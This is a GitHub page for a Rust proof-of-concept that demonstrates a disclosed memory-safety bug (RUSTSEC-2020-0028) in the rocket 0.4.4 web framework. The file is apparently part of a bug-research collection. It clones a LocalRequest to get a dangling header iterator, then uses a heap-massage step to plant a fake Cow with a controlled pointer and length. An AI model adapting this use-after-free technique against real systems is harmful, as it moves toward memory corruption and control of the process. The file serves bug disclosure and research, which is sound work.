-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy path0004-rocket.rs
75 lines (60 loc) · 1.73 KB
/
0004-rocket.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/*!
```rudra-poc
[target]
crate = "rocket"
version = "0.4.4"
[[target.peer]]
crate = "rocket_codegen"
version = "0.4.4"
[[target.peer]]
crate = "rocket_http"
version = "0.4.4"
[test]
cargo_toolchain = "nightly"
[report]
issue_url = "https://github.com/SergioBenitez/Rocket/issues/1312"
issue_date = 2020-05-27
rustsec_url = "https://github.com/RustSec/advisory-db/pull/320"
rustsec_id = "RUSTSEC-2020-0028"
[[bugs]]
analyzer = "Manual"
bug_class = "Other"
rudra_report_locations = []
```
!*/
#![forbid(unsafe_code)]
use rocket::http::Header;
use rocket::local::Client;
use rocket::Request;
fn main() {
let client = Client::new(rocket::ignite()).unwrap();
// creates two LocalRequest instances that share the same Request pointer
let request1 = client.get("/").header(Header::new("key", "val1"));
let request2 = request1.clone();
// sanity check
assert_eq!(
request1.inner() as *const Request<'_>,
request2.inner() as *const Request<'_>
);
// save the iterator, which internally holds a slice
let mut iter = request1.inner().headers().get("key");
// insert headers to reallocate the header map
request2
.header(Header::new("1", "v1"))
.header(Header::new("2", "v2"))
.header(Header::new("3", "v3"))
.header(Header::new("key", "val2"));
// heap massage
let arr: [usize; 4] = [0, 0xcafebabe, 31337, 0]; // fake Cow
let addr = &arr as *const _ as usize;
let _v: Vec<usize> = vec![
0, 0, 0, 0, 0, addr, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
];
// iter is dangling now!
let s = iter.next().unwrap();
// address and length controlled
dbg!(s.as_ptr());
dbg!(s.len());
// segfaults
println!("{}", s);
}